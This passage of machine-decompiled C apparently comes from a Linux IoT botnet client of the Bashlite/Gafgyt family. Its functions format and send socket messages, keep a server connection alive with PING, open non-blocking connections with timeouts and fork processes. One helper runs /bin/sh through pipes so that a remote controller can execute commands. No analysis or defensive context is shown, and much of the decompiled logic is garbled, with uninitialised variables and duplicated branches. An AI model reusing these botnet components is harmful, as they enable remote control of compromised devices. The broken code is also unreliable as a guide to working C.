v36 = (int32_t)v43 + 1; | |
v37 = (char *)v36; | |
if (*v37 == 0) { | |
// break -> 0x8048880 | |
break; | |
} | |
v30 = v36; | |
v31 = v33; | |
a2 = v37; | |
v32 += 4; | |
// continue -> 0x80485d3 | |
continue; | |
} | |
lab_0x804866d: | |
// 0x804866d | |
if (*v43 == 115) { | |
goto lab_0x8048677; | |
} | |
goto lab_0x80486c4; | |
} | |
// 0x8048659 | |
v44 = (int32_t)v41; | |
if (*v41 < 48) { | |
v47 = 0; | |
v43 = v41; | |
goto lab_0x804866d; | |
} | |
v45 = v44; | |
v46 = 0; | |
v42 = v41; | |
goto lab_0x8048663; | |
} | |
lab_0x804886f: | |
// 0x804886f | |
v36 = (int32_t)v34 + 1; | |
v37 = (char *)v36; | |
if (*v37 == 0) { | |
// break -> 0x8048880 | |
break; | |
} | |
v30 = v36; | |
v31 = v33; | |
a2 = v37; | |
// continue -> 0x80485d3 | |
continue; | |
} | |
} else { | |
v34 = a2; | |
// 0x8048854 | |
printchar((int32_t *)v29, *v34); | |
v33 = v31 + 1; | |
// branch -> 0x804886f | |
goto lab_0x804886f; | |
} | |
// 0x8048880 | |
// branch -> 0x8048880 | |
} | |
// 0x8048880 | |
result = v33; | |
// branch -> 0x8048880 | |
} | |
// 0x8048880 | |
if (v29 != 0) { | |
// 0x8048886 | |
// branch -> 0x804888e | |
} | |
// 0x804888e | |
return result; | |
} | |
// Address range: 0x8048893 - 0x80488ba | |
int32_t zprintf(int32_t a1) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
int32_t v29; | |
return print(NULL, (char *)a1, &v29); | |
} | |
// Address range: 0x80488bb - 0x80488e1 | |
int32_t szprintf(int32_t a1) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
int32_t v29; | |
int32_t v30; | |
return print(&a1, (char *)v30, &v29); | |
} | |
// Address range: 0x80488e2 - 0x80489b9 | |
char * sockprintf(int32_t sock, char * a2) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
char * mem = malloc(2048); // 0x80488f0 | |
int32_t v29 = (int32_t)mem; // bp-20 | |
memset(mem, 0, 2048); | |
int32_t v30; | |
print(&v29, a2, &v30); | |
strlen(mem); | |
strlen(mem); | |
zprintf((int32_t)"buf: %s\n"); | |
int32_t v31 = send(sock, mem, strlen(mem), MSG_NOSIGNAL); // 0x804899e | |
free(mem); | |
return (char *)v31; | |
} | |
// Address range: 0x80489ba - 0x8048b9f | |
int32_t fdpopen(int32_t a1, char * a2) { | |
int32_t fds[2]; // 0x80489f2 | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
int32_t v24; // 0x8061708 | |
int32_t v25; // 0x806170c | |
char * v26; // 0x8061710 | |
bool v27; | |
int32_t v28; // 0x8048a10 | |
char * mem; // 0x8048a33 | |
int32_t v29; // 0x8048a6a | |
char * v30; // 0x805f4a0 | |
int32_t fd2; | |
int32_t fd; | |
char * v31; | |
char * v32; | |
int32_t v33; | |
char v34; // 0x80489d9 | |
char v35; // 0x8048aae | |
int32_t fd3; // 0x8048ae8 | |
int32_t result; // 0x8048b9121 | |
int32_t size; // 0x8048a2d | |
if (*a2 == 114) { | |
// 0x80489d5 | |
if (v34 == 0) { | |
// 0x80489ec | |
fds[0] = &fd; | |
if (pipe(fds) > 0) { | |
// 0x8048a07 | |
v31 = v30; | |
if (v31 != NULL) { | |
// 0x8048a6a | |
memset(v32, (int32_t)v31, v33); | |
v29 = vfork(); | |
if (v29 == -1) { | |
// 0x8048a89 | |
close(fd); | |
close(fd2); | |
// branch -> 0x8048b97 | |
// 0x8048b97 | |
return -1; | |
} | |
// 0x8048a7e | |
v35 = *a2; | |
if (v29 != 0) { | |
// 0x8048b4f | |
if (v35 == 114) { | |
// 0x8048b59 | |
close(fd2); | |
result = fd; | |
// branch -> 0x8048b7d | |
} else { | |
// 0x8048b6c | |
close(fd); | |
result = fd2; | |
// branch -> 0x8048b7d | |
} | |
// 0x8048b7d | |
// branch -> 0x8048b97 | |
// 0x8048b97 | |
return result; | |
} | |
// 0x8048aab | |
if (v35 == 114) { | |
// 0x8048ab5 | |
if (fd2 != 1) { | |
// 0x8048abd | |
dup2(fd2, 1); | |
close(fd2); | |
// branch -> 0x8048adb | |
} | |
// 0x8048adb | |
close(fd); | |
// branch -> 0x8048b18 | |
} else { | |
// 0x8048ae8 | |
fd3 = fd; | |
if (fd3 != 0) { | |
// 0x8048aef | |
dup2(fd3, 0); | |
close(fd); | |
// branch -> 0x8048b0d | |
} | |
// 0x8048b0d | |
close(fd2); | |
// branch -> 0x8048b18 | |
} | |
// 0x8048b18 | |
execl("/bin/sh", "sh"); | |
exit(127); | |
// UNREACHABLE | |
} | |
// 0x8048a10 | |
v28 = getdtablesize(); | |
if (v28 > 0) { | |
// 0x8048a2a | |
size = 4 * v28; | |
mem = malloc(size); | |
v30 = mem; | |
if (mem != NULL) { | |
// 0x8048a52 | |
// branch -> 0x8048a6a | |
// 0x8048a6a | |
memset(mem, (int32_t)mem & -256, size); | |
v29 = vfork(); | |
if (v29 == -1) { | |
// 0x8048a89 | |
close(fd); | |
close(fd2); | |
// branch -> 0x8048b97 | |
// 0x8048b97 | |
return -1; | |
} | |
// 0x8048a7e | |
v35 = *a2; | |
if (v29 != 0) { | |
// 0x8048b4f | |
if (v35 == 114) { | |
// 0x8048b59 | |
close(fd2); | |
result = fd; | |
// branch -> 0x8048b7d | |
} else { | |
// 0x8048b6c | |
close(fd); | |
result = fd2; | |
// branch -> 0x8048b7d | |
} | |
// 0x8048b7d | |
// branch -> 0x8048b97 | |
// 0x8048b97 | |
return result; | |
} | |
// 0x8048aab | |
if (v35 == 114) { | |
// 0x8048ab5 | |
if (fd2 != 1) { | |
// 0x8048abd | |
dup2(fd2, 1); | |
close(fd2); | |
// branch -> 0x8048adb | |
} | |
// 0x8048adb | |
close(fd); | |
// branch -> 0x8048b18 | |
} else { | |
// 0x8048ae8 | |
fd3 = fd; | |
if (fd3 != 0) { | |
// 0x8048aef | |
dup2(fd3, 0); | |
close(fd); | |
// branch -> 0x8048b0d | |
} | |
// 0x8048b0d | |
close(fd2); | |
// branch -> 0x8048b18 | |
} | |
// 0x8048b18 | |
execl("/bin/sh", "sh"); | |
exit(127); | |
// UNREACHABLE | |
} | |
} | |
// 0x8048b97 | |
return -1; | |
} | |
} | |
// 0x8048b97 | |
return -1; | |
} | |
// 0x80489cb | |
if (*a2 != 119) { | |
// 0x8048b97 | |
return -1; | |
} | |
// 0x80489d5 | |
if (v34 == 0) { | |
// 0x80489ec | |
fds[0] = &fd; | |
if (pipe(fds) > 0) { | |
// 0x8048a07 | |
v31 = v30; | |
if (v31 != NULL) { | |
// 0x8048a6a | |
memset(v32, (int32_t)v31, v33); | |
v29 = vfork(); | |
if (v29 == -1) { | |
// 0x8048a89 | |
close(fd); | |
close(fd2); | |
// branch -> 0x8048b97 | |
// 0x8048b97 | |
return -1; | |
} | |
// 0x8048a7e | |
v35 = *a2; | |
if (v29 != 0) { | |
// 0x8048b4f | |
if (v35 == 114) { | |
// 0x8048b59 | |
close(fd2); | |
result = fd; | |
// branch -> 0x8048b7d | |
} else { | |
// 0x8048b6c | |
close(fd); | |
result = fd2; | |
// branch -> 0x8048b7d | |
} | |
// 0x8048b7d | |
// branch -> 0x8048b97 | |
// 0x8048b97 | |
return result; | |
} | |
// 0x8048aab | |
if (v35 == 114) { | |
// 0x8048ab5 | |
if (fd2 != 1) { | |
// 0x8048abd | |
dup2(fd2, 1); | |
close(fd2); | |
// branch -> 0x8048adb | |
} | |
// 0x8048adb | |
close(fd); | |
// branch -> 0x8048b18 | |
} else { | |
// 0x8048ae8 | |
fd3 = fd; | |
if (fd3 != 0) { | |
// 0x8048aef | |
dup2(fd3, 0); | |
close(fd); | |
// branch -> 0x8048b0d | |
} | |
// 0x8048b0d | |
close(fd2); | |
// branch -> 0x8048b18 | |
} | |
// 0x8048b18 | |
execl("/bin/sh", "sh"); | |
exit(127); | |
// UNREACHABLE | |
} | |
// 0x8048a10 | |
v28 = getdtablesize(); | |
if (v28 > 0) { | |
// 0x8048a2a | |
size = 4 * v28; | |
mem = malloc(size); | |
v30 = mem; | |
if (mem != NULL) { | |
// 0x8048a52 | |
// branch -> 0x8048a6a | |
// 0x8048a6a | |
memset(mem, (int32_t)mem & -256, size); | |
v29 = vfork(); | |
if (v29 == -1) { | |
// 0x8048a89 | |
close(fd); | |
close(fd2); | |
// branch -> 0x8048b97 | |
// 0x8048b97 | |
return -1; | |
} | |
// 0x8048a7e | |
v35 = *a2; | |
if (v29 != 0) { | |
// 0x8048b4f | |
if (v35 == 114) { | |
// 0x8048b59 | |
close(fd2); | |
result = fd; | |
// branch -> 0x8048b7d | |
} else { | |
// 0x8048b6c | |
close(fd); | |
result = fd2; | |
// branch -> 0x8048b7d | |
} | |
// 0x8048b7d | |
// branch -> 0x8048b97 | |
// 0x8048b97 | |
return result; | |
} | |
// 0x8048aab | |
if (v35 == 114) { | |
// 0x8048ab5 | |
if (fd2 != 1) { | |
// 0x8048abd | |
dup2(fd2, 1); | |
close(fd2); | |
// branch -> 0x8048adb | |
} | |
// 0x8048adb | |
close(fd); | |
// branch -> 0x8048b18 | |
} else { | |
// 0x8048ae8 | |
fd3 = fd; | |
if (fd3 != 0) { | |
// 0x8048aef | |
dup2(fd3, 0); | |
close(fd); | |
// branch -> 0x8048b0d | |
} | |
// 0x8048b0d | |
close(fd2); | |
// branch -> 0x8048b18 | |
} | |
// 0x8048b18 | |
execl("/bin/sh", "sh"); | |
exit(127); | |
// UNREACHABLE | |
} | |
} | |
// 0x8048b97 | |
return -1; | |
} | |
} | |
// 0x8048b97 | |
return -1; | |
} | |
// Address range: 0x8048ba0 - 0x8048d14 | |
int32_t fdpclose(struct _TYPEDEF_sigset_t * fd) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
int32_t v24; // 0x8061708 | |
int32_t v25; // 0x806170c | |
char * v26; // 0x8061710 | |
bool v27; | |
char * v28; // 0x805f4a0 | |
int32_t v29; // 0x8048bc2 | |
if (v28 == NULL || v29 == 0) { | |
// 0x8048d0d | |
return -1; | |
} | |
// 0x8048bd7 | |
close((int32_t)fd); | |
int32_t set; | |
sigemptyset((struct _TYPEDEF_sigset_t *)&set); | |
sigaddset((struct _TYPEDEF_sigset_t *)&set, SIGINT); | |
sigaddset((struct _TYPEDEF_sigset_t *)&set, SIGQUIT); | |
sigaddset((struct _TYPEDEF_sigset_t *)&set, SIGHUP); | |
int32_t oset; | |
sigprocmask(SIG_BLOCK, (struct _TYPEDEF_sigset_t *)&set, (struct _TYPEDEF_sigset_t *)&oset); | |
// branch -> 0x8048c52 | |
int32_t stat_loc; | |
int32_t result; | |
while (true) { | |
// 0x8048c52 | |
int32_t pid; // 0x8048c62 | |
if (waitpid(pid, &stat_loc, 0) == -1) { | |
// 0x8048c8d | |
if (*__errno_location() != 4) { | |
// break -> 0x8048c99 | |
break; | |
} | |
// continue -> 0x8048c52 | |
continue; | |
} | |
// 0x8048c99 | |
sigprocmask(SIG_SETMASK, (struct _TYPEDEF_sigset_t *)&oset, NULL); | |
// 0x8048cd9 | |
result = (stat_loc & 0xff00) / 256; | |
// branch -> 0x8048d01 | |
// 0x8048d01 | |
// branch -> 0x8048d0d | |
// 0x8048d0d | |
return result; | |
} | |
// 0x8048c99 | |
sigprocmask(SIG_SETMASK, (struct _TYPEDEF_sigset_t *)&oset, NULL); | |
result = -1; | |
// 0x8048d01 | |
// branch -> 0x8048d0d | |
// 0x8048d0d | |
return result; | |
} | |
// Address range: 0x8048d15 - 0x8048d83 | |
int32_t fdgets(int32_t a1, int32_t a2, int32_t fd) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
bool v29 = false; // 0x8048d4e13 | |
int32_t v30 = 0; | |
// branch -> 0x8048d54 | |
int32_t v31; // 0x8048d43 | |
int32_t result; | |
while (true) { | |
bool v32 = v29; | |
if (v30 >= a2) { | |
// 0x8048d6a | |
if (!v32) { | |
// 0x8048d70 | |
result = a1; | |
// branch -> 0x8048d7f | |
} else { | |
result = 0; | |
} | |
// 0x8048d7f | |
return result; | |
} | |
// 0x8048d5c | |
char v33; // 0x8048d63 | |
if (v33 != 10) { | |
// 0x8048d2b | |
v31 = read(fd, (char *)(a1 + v30), 1); | |
if (v31 != 1) { | |
// break -> 0x8048d6a | |
break; | |
} | |
v29 = v31 == 0; | |
v30++; | |
// continue -> 0x8048d54 | |
continue; | |
} | |
// 0x8048d6a | |
if (!v29) { | |
// 0x8048d70 | |
result = a1; | |
// branch -> 0x8048d7f | |
} else { | |
result = 0; | |
} | |
// 0x8048d7f | |
return result; | |
} | |
// 0x8048d6a | |
if (v31 != 0) { | |
// 0x8048d70 | |
result = a1; | |
// branch -> 0x8048d7f | |
} else { | |
result = 0; | |
} | |
// 0x8048d7f | |
return result; | |
} | |
// Address range: 0x8048eef - 0x8048f25 | |
int32_t getHost(char * cp, int32_t * a2) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
// 0x8048eef | |
*a2 = inet_addr(cp); | |
return *a2 == -1; | |
} | |
// Address range: 0x80491c5 - 0x804922e | |
int32_t makeRandomStr(int32_t a1, int32_t a2) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
// 0x80491c5 | |
for (int32_t i = 0; i < a2; i++) { | |
// 0x80491dc | |
rand_cmwc(); | |
rand_cmwc(); | |
// branch -> 0x80491dc | |
} | |
// 0x8049229 | |
return 0; | |
} | |
// Address range: 0x804922f - 0x8049418 | |
int32_t recvLine(uint32_t a1, char * a2, int32_t a3) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
int32_t v8; // 0x805b488 | |
int32_t v9; // 0x805b48c | |
char * v10; // 0x805b490 | |
char v11; // 0x805b491 | |
char v12; // 0x805b493 | |
char v13; // 0x805b494 | |
char v14; // 0x805b496 | |
char v15; // 0x805b497 | |
char v16; // 0x805b498 | |
char v17; // 0x805b499 | |
char v18; // 0x805b49a | |
int32_t v19; // 0x805b4a0 | |
int32_t v20; // 0x805b4a4 | |
int32_t v21; // 0x805b4a8 | |
int64_t v22; // 0x805d49f | |
char * v23; // 0x805f4a0 | |
int32_t v24; // 0x8061708 | |
int32_t v25; // 0x806170c | |
char * v26; // 0x8061710 | |
bool v27; | |
int32_t v28 = (int32_t)a2; | |
memset(a2, v28 & -256, a3); | |
int32_t timeout = 30; // bp-176 | |
int32_t readfds; | |
memset((char *)&readfds, 0, 32); | |
int32_t v29; | |
int32_t * v30 = (int32_t *)(4 * a1 / 32 - 164 + (int32_t)&v29); // 0x8049283_0 | |
*v30 = *v30 | 1 << a1 % 32; | |
uint32_t v31 = select(a1 + 1, (struct _TYPEDEF_fd_set *)&readfds, NULL, (struct _TYPEDEF_fd_set *)&readfds, (struct timeval *)&timeout); // 0x80492b8 | |
char * v32; | |
int32_t v33; // 0x80493d9 | |
int32_t result; // 0x804940120 | |
int32_t v34; // 0x80493e021 | |
if (v31 <= 0) { | |
// 0x8049365 | |
int32_t v35; | |
if (v35 < 10) { | |
while (true) { | |
// 0x80492cf | |
char * sock; // 0x805b480 | |
sockprintf((int32_t)sock, "PING"); | |
timeout = 30; | |
memset((char *)&readfds, 0, 32); | |
int32_t v36; | |
int32_t * v37 = (int32_t *)(v36 - 164 + 4 * a1 / 32); // 0x804931f_0 | |
*v37 = *v37 | 1 << a1 % 32; | |
uint32_t v38 = select(a1 + 1, (struct _TYPEDEF_fd_set *)&readfds, NULL, (struct _TYPEDEF_fd_set *)&readfds, (struct timeval *)&timeout); // 0x8049354 | |
if (v38 <= 0) { | |
int32_t v39 = v35 + 1; // 0x8049362 | |
if (v39 >= 10) { | |
// break -> 0x804936f | |
break; | |
} | |
v35 = v39; | |
// continue -> 0x80492cf | |
continue; | |
} | |
v34 = a3; | |
result = 0; | |
v32 = a2; | |
// branch -> 0x80493d9 | |
while (true) { | |
// 0x80493d9 | |
v33 = v34 - 1; | |
char * v40 = v32; | |
if (((int32_t)(v33 == 0 || v33 < 0 ^ (v34 & -v34) < 0) || v28 & -256) == 1) { | |
// 0x80493e7 | |
*v40 = 0; | |
zprintf((int32_t)"recv: %s\n"); | |
// branch -> 0x804940a | |
// 0x804940a | |
return result; | |
} | |
lab_0x804937e_2:; | |
// 0x804937e | |
int32_t buf; | |
if (recv((int32_t)sock, (char *)&buf, 1, 0) != 1) { | |
// 0x80493aa | |
*v32 = 0; | |
// branch -> 0x804940a | |
// 0x804940a | |
return -1; | |
} | |
// 0x80493bc | |
*v32 = (char)buf; | |
char * v41 = (char *)((int32_t)v32 + 1); | |
int32_t v42 = buf % 256; // 0x80493cb | |
if (v42 == 10) { | |
// 0x80493e7 | |
*v41 = 0; | |
zprintf((int32_t)"recv: %s\n"); | |
// branch -> 0x804940a | |
// 0x804940a | |
return result; | |
} | |
// 0x80493d6 | |
v28 = v42; | |
v34 = v33; | |
result++; | |
v32 = v41; | |
// branch -> 0x80493d9 | |
continue; | |
} | |
} | |
} | |
} | |
// 0x804936f | |
v34 = a3; | |
result = 0; | |
v32 = a2; | |
// branch -> 0x80493d9 | |
while (true) { | |
// 0x80493d9 | |
v33 = v34 - 1; | |
if (((int32_t)(v33 == 0 || v33 < 0 ^ (v34 & -v34) < 0) || v28 & -256) != 1) { | |
goto lab_0x804937e_2; | |
} | |
// 0x80493e7 | |
*v32 = 0; | |
zprintf((int32_t)"recv: %s\n"); | |
// branch -> 0x804940a | |
// 0x804940a | |
return result; | |
} | |
} | |
// Address range: 0x8049419 - 0x8049623 | |
int32_t connectTimeout(int16_t fd2, int32_t a2, int32_t host_short, int32_t a4) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
int32_t fd = fd2; | |
fcntl(fd, F_GETFL); | |
fcntl(fd, F_SETFL); | |
int32_t addr = 2; // bp-40 | |
htons((int16_t)host_short); | |
int32_t v29; | |
if (getHost((char *)a2, &v29) != 0) { | |
// 0x8049615 | |
return 0; | |
} | |
// 0x80494a5 | |
int32_t result; // 0x804961516 | |
if (connect(fd, (struct sockaddr *)&addr, 16) > 0) { | |
// 0x80495cc | |
fcntl((int32_t)fd2, F_GETFL); | |
fcntl((int32_t)fd2, F_SETFL); | |
result = 1; | |
// branch -> 0x8049615 | |
} else { | |
// 0x80494df | |
if (*__errno_location() == 115) { | |
int32_t timeout = a4; | |
int32_t writefds; | |
memset((char *)&writefds, 0, 32); | |
uint32_t v30 = (int32_t)fd2; | |
int32_t v31; | |
int32_t * v32 = (int32_t *)(v31 - 164 + 4 * v30 / 32); // 0x8049529_0 | |
*v32 = 1 << v30 % 32 | *v32; | |
uint32_t v33 = select((int32_t)fd2 + 1, NULL, (struct _TYPEDEF_fd_set *)&writefds, NULL, (struct timeval *)&timeout); // 0x804955c | |
if (v33 >= 1) { | |
int32_t option_len = 4; | |
int32_t option_value; | |
getsockopt((int32_t)fd2, SO_DEBUG, 4, (char *)&option_value, &option_len); | |
if (option_value == 0) { | |
// 0x80495cc | |
fcntl((int32_t)fd2, F_GETFL); | |
fcntl((int32_t)fd2, F_SETFL); | |
result = 1; | |
// branch -> 0x8049615 | |
} else { | |
result = 0; | |
} | |
} else { | |
result = 0; | |
} | |
} else { | |
result = 0; | |
} | |
} | |
// 0x8049615 | |
return result; | |
} | |
// Address range: 0x8049624 - 0x8049728 | |
int32_t listFork(void) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
char * v9; // 0x805b490 | |
char v10; // 0x805b491 | |
char v11; // 0x805b493 | |
char v12; // 0x805b494 | |
char v13; // 0x805b496 | |
char v14; // 0x805b497 | |
char v15; // 0x805b498 | |
char v16; // 0x805b499 | |
char v17; // 0x805b49a | |
int32_t v18; // 0x805b4a0 | |
int32_t v19; // 0x805b4a4 | |
int32_t v20; // 0x805b4a8 | |
int64_t v21; // 0x805d49f | |
char * v22; // 0x805f4a0 | |
int32_t v23; // 0x8061708 | |
int32_t v24; // 0x806170c | |
bool v25; | |
int32_t result = fork(); // 0x804962b | |
if (result == 0) { | |
// 0x8049639 | |
// branch -> 0x8049720 | |
} else { | |
// 0x8049644 | |
int32_t v26; // 0x805b488 | |
int32_t v27 = v26; // 0x8049644 | |
int32_t v28 = v27 + 1; // 0x804964f | |
v26 = v28; | |
int32_t v29; // 0x805b48c | |
v29 += (int32_t)(v27 == -1); | |
char * mem = malloc(4 * v28 + 4); // 0x8049678 | |
int32_t v30 = 0; | |
// branch -> 0x80496ab | |
while (true) { | |
// 0x80496ab | |
if (v29 - 1 + (int32_t)(v26 != 0) == 0) { | |
// 0x80496dc | |
if (v30 >= v26 - 1) { | |
// 0x80496ec | |
char * v31; // 0x8061710 | |
free(v31); | |
v31 = mem; | |
// branch -> 0x8049720 | |
// 0x8049720 | |
return result; | |
} | |
} | |
// 0x8049689 | |
v30++; | |
// branch -> 0x80496ab | |
} | |
} | |
// 0x8049720 | |
return result; | |
} | |
// Address range: 0x8049729 - 0x804984b | |
int32_t negotiate(int32_t sock, int32_t a2) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
